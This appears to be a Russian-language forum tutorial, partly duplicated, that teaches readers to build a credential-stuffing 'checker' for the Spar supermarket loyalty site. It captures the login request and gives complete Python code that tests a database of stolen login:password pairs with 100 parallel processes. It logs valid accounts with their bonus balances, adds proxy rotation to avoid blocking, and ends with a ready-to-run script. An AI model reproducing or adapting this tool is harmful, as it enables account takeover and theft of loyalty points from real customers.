В этой статье рассказывается и показывается как написать свой чекер, что для этого нужно и откуда это достать
Для начала работы нам понадобится
1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней версии
https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
2)Если вы захотите на примере это статьи писать свой [tooltip=108]чекер[/tooltip] на другой сайт, нужный вам, тогда вам понадобится среда разработки,
для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC
Я буду показывать как написать [tooltip=108]чекер[/tooltip] на примере сайта спара, на нем нету капчи и он не банит за спам
Первым делом нам нужен валидный аккаунт на сайте спара
идем на сайт вводим логин пароль и теперь самое интересное. Отрываем консоль с помощью кнопки f12,
переходим на вкладку networks, и теперь жмем Войти, теперь в куче запросов ищем что то похожее на login/ auth/ и что то,
что похоже на запрос к скрипту авторизации, внизу мы должны увидеть наш пост запрос такого вида
AUTH_FORM: Y
TYPE: AUTH
backurl: /local/ajax/user/auth/
USER_LOGIN: 899999999
username: 899999999
USER_PASSWORD: password123
USER_REMEMBER: Y
Login: Y
жмем на кнопку view source и копируем строчку
Пока что не выходим, теперь смотрим на страницу нашего профиля, мы тут видим имя и количество бонусов на карте
открываем в консоли html и копируем строчку с бонусами
Теперь мы можем идти в Pycharm и начинать писать код
Запускаем среду и жмем Create new project
После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter
Жмем плюсик с правой стороны окна и вбиваем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package
Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его
Первое что нам нужно сделать импортировать нужные библиотеки для работы
Первая билиотека нам нужна для создания запросов к сайту и приему от него ответов
Вторая библиотека нужна для потоков
Начинаем писать скрипт
Теперь в нашу очередь загружены наши строки
Запускаем наши потоки
Теперь напишем функцию чека для наших потоков
Что мы здесь делаем.
1) Передаем в фунцию нашу очередь со строками
2)Разбиваем строку и вырезаем символ переноса строки "\n"
3) Формируем post запрос на основе запроса из начала и вставляем туда наши варьирующиеся значения, в данном случае это номер телефона и пароль
4)Создаем сессию, которая на автомате будет принимать, сохранять и передавать между страницами куки,
Переходим сначала на главную страницу спара, чтобы получить первоначальные куки, чтобы показать что мы обычный пользователь, иначе 90% сайтов
не дадут залогинится
5)Теперь делаем post запрос к скрипту логина и передаем туда наши данные
6)Сервер выдал нам html страницу, парсим ее на предмет строки с бонусами, если они нашлись, то значит аккаунт валид и мы записываем инфу с него
в текстовик
7)Закрываем файл, закрываем соединение и начинаем цикл сначала с новой строкой
Как только очередь опустеет потоки поочередно закончат свою работу
На выходе, если у вас были валидные аккаунты то в текстовом файле вы увидите это:
Для ленивых
#МояСтатья
Для начала работы нам понадобится
1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней версии
https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
2)Если вы захотите на примере это статьи писать свой [tooltip=108]чекер[/tooltip] на другой сайт, нужный вам, тогда вам понадобится среда разработки,
для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC
Я буду показывать как написать [tooltip=108]чекер[/tooltip] на примере сайта спара, на нем нету капчи и он не банит за спам
Первым делом нам нужен валидный аккаунт на сайте спара
идем на сайт вводим логин пароль и теперь самое интересное. Отрываем консоль с помощью кнопки f12,
переходим на вкладку networks, и теперь жмем Войти, теперь в куче запросов ищем что то похожее на login/ auth/ и что то,
что похоже на запрос к скрипту авторизации, внизу мы должны увидеть наш пост запрос такого вида

AUTH_FORM: Y
TYPE: AUTH
backurl: /local/ajax/user/auth/
USER_LOGIN: 899999999
username: 899999999
USER_PASSWORD: password123
USER_REMEMBER: Y
Login: Y
жмем на кнопку view source и копируем строчку
AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y
Пока что не выходим, теперь смотрим на страницу нашего профиля, мы тут видим имя и количество бонусов на карте

открываем в консоли html и копируем строчку с бонусами

<span class="header-control__text-desc">8 бонусов</span>
Теперь мы можем идти в Pycharm и начинать писать код
Запускаем среду и жмем Create new project

После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter

Жмем плюсик с правой стороны окна и вбиваем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package

Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его

Первое что нам нужно сделать импортировать нужные библиотеки для работы
Python:
import requests
from multiprocessing import Process, Queue, Value
Первая билиотека нам нужна для создания запросов к сайту и приему от него ответов
Вторая библиотека нужна для потоков
Начинаем писать скрипт
Python:
if __name__ == "__main__":
count = 100 #Количество потоков
queue = Queue() #очередь откуда будут браться данные для наших потоков
Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы
with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
for line in fileToCHeck.readlines():
queue.put(line)
print(line+"\r")
fileToCHeck.close()
Теперь в нашу очередь загружены наши строки
Запускаем наши потоки
Python:
for i in range(0, count):
proc = Process(target=checkValid, args=(queue,))
proc.start()
queue.close() #Закрываем очередь
Теперь напишем функцию чека для наших потоков
Python:
def checkValid(queue):
while(queue.empty() == False):
try:
line = queue.get()[:-1]
logPass = []
if ':' in line:
logPass = line.split(':')
if ';' in line:
logPass = line.split(';')
user_login = logPass[0]
user_pass = logPass[1]
data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос
'username': user_login,
'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
s = requests.Session()
s.get("https://myspar.ru/personal/")
resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
try:
bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
bonuses = re.search(">.*<", bonuses.group(0))
bonuses = bonuses.group(0)
file = open("checked.txt", "a")
file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
bonuses[1:-1] + "\n\n\n"))
file.close()
s.close()
except:
continue
except:
continue
Что мы здесь делаем.
1) Передаем в фунцию нашу очередь со строками
2)Разбиваем строку и вырезаем символ переноса строки "\n"
Python:
line = queue.get()[:-1]
logPass = []
if ':' in line:
logPass = line.split(':')
if ';' in line:
logPass = line.split(';')
4)Создаем сессию, которая на автомате будет принимать, сохранять и передавать между страницами куки,
Переходим сначала на главную страницу спара, чтобы получить первоначальные куки, чтобы показать что мы обычный пользователь, иначе 90% сайтов
не дадут залогинится
5)Теперь делаем post запрос к скрипту логина и передаем туда наши данные
6)Сервер выдал нам html страницу, парсим ее на предмет строки с бонусами, если они нашлись, то значит аккаунт валид и мы записываем инфу с него
в текстовик
7)Закрываем файл, закрываем соединение и начинаем цикл сначала с новой строкой
Как только очередь опустеет потоки поочередно закончат свою работу
Если вы хотите использовать [tooltip=151]прокси[/tooltip] в своем чекере, тогда возьмите пачку проксей, прочитайте их точно также из текстовика как и строки с лог:пассом
и передавайте их потокам
и передавайте их потокам
Python:
myProxies = {"https://223.241.2.199:4216"}
s.get("https://myspar.ru/personal/", proxies=myProxies)
resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)
На выходе, если у вас были валидные аккаунты то в текстовом файле вы увидите это:
Phone: 8999999999
Password: password123
Bonuses: 233 бонуса
Password: password123
Bonuses: 233 бонуса
Для ленивых
Python:
import requests
from multiprocessing import Process, Queue, Value
import re
import sys
def checkValid(queue):
while(queue.empty() == False):
try:
line = queue.get()[:-1]
if ':' in line:
c = line.split(':')
if ';' in line:
c = line.split(';')
user_login = c[0]
user_pass = c[1]
data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login,
'username': user_login,
'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
s = requests.Session()
s.get("https://myspar.ru/personal/")
resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
try:
bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
bonuses = re.search(">.*<", bonuses.group(0))
bonuses = bonuses.group(0)
file = open("checked.txt", "a")
file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
bonuses[1:-1] + "\n\n\n"))
file.close()
s.close()
except:
s.close()
continue
except:
continue
def createProc(queue, count):
for i in range(0, count):
proc = Process(target=checkValid, args=(queue,))
proc.start()
queue.close()
if __name__ == "__main__":
count = 100
queue = Queue()
with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
for line in fileToCHeck.readlines():
queue.put(line)
print(line+"\r")
fileToCHeck.close()
createProc(queue, count)
print("Запускается", count," потоков")
#МояСтатья